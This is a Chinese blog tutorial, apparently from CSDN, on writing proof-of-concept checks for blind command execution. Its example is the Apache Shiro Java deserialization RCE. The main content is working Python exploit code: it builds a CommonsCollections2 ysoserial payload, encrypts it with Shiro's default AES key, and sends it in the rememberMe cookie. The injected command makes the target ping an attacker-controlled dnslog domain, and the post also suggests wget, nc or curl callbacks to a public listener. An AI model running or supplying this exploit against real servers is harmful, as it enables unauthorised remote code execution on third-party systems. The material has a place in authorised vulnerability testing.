java poc_无回显命令执行PoC编写指南(Apache Shiro Java反序列化)

无回显

漏洞存在与否,无法从web获取到标志性的信息,Java反序列化漏洞即属于该类型。

验证方法

针对无回显的命令执行漏洞,让目标机执行wget、nc或者curl等命令,然后在公网主机监听对应的端口,通过日志来判断命令是否被执行。

该方法可行,不过缺陷有以下几点:

修改了目标机的文件系统

不具有通用性,如windows没有nc、linux没有wget的情况。

涉及到TCP数据传输,执行速度慢

一种更好的方式是使用dns日志来判断命令是否执行,流程如下:

生成一个特殊的域名,如 1dsa3r3.shiro.server.com

构造payload让目标机执行 ping 1dsa3r3.shiro.server.com

登录dns服务后台,如果后台记录了该域名的dns查询记录,即证明目标存在命令执行。

这种方法首先适应了win/unix系统,二者均自带ping命令。而且执行DNS的速度要快于TCP。

tips

使用ping命令的时候有个坑,大部分linux系统执行ping xxxx时候会一直ping下去,而不是win里面执行4次之后退出。

解决方案:使用 ping -n 3 xxx.com || ping -c 3 xxx.com 可以解决该问题并保证兼容性。

实际情况中会遇到很多入口与出口不同的情况,即我们向主机A发送payload,但是主机B执行了我们的ping命令。这时我们dns日志中的IP与A的IP无法匹配,就会造成漏报。

解决方案:为每次验证生成独立、随机的域名,如[random].shiro.xxx.com,在[random]处使用10位随机字符或者递增的数字。这样只要以该域名为准查找日志,即可同时匹配到入口和出口主机IP。

PoC示例

以Apache Shiro Java反序列化远程命令执行漏洞为例。

完整PoC代码

主函数

调用cloudeye接口,设置一个以shiro 为特征组的随机域名,即:[random].shiro.user.dnslog.info

将该域名加入目标机执行的ping命令

使用ping命令生成反序列化payload

requeests以GET请求的Cookie字段发送payload

调用Cloudeye接口查看dns日志,在日志中匹配之前构造的域名

如果访问记录存在,在记录中匹配出口IP

返回入口IP和出口IP

from plugin.cloudeye import CloudEye

def poc(url):

target = 'http://' + url if '://' not in url else url

try:

cloudeye = CloudEye()

domain = cloudeye.getRandomDomain('shiro') # 设置dns特征域名组

rce_command = 'ping -n 3 %s || ping -c 3 %s' % (domain, domain) # 目标机执行的代码

payload = generator(rce_command, JAR_FILE) # 生成payload

requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求

dnslog = cloudeye.getDnsRecord(delay=1)

if domain in dnslog:

msg = url

for each in re.findall(r'client (.*)#', dnslog): # 获取出口ip

msg += ' - ' + each

return msg

except Exception, e:

pass

return False

Payload生成

生成payload的原理在上面链接文章有分析和相应代码,稍加修改,需传入要目标机执行的命令和本地jar的位置:

def generator(command, fp):

if not os.path.exists(fp):

raise Exception('jar file not found!')

popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],

stdout=subprocess.PIPE)

BS = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

key = "kPH+bIxk5D2deZiIxcaaaA=="

mode = AES.MODE_CBC

iv = uuid.uuid4().bytes

encryptor = AES.new(base64.b64decode(key), mode, iv)

file_body = pad(popen.stdout.read())

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_ciphertext

CloudEye接口

运行效果

批量验证:

0818b9ca8b590ca3270a3433284dd417.png

CloudEye日志:

0818b9ca8b590ca3270a3433284dd417.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值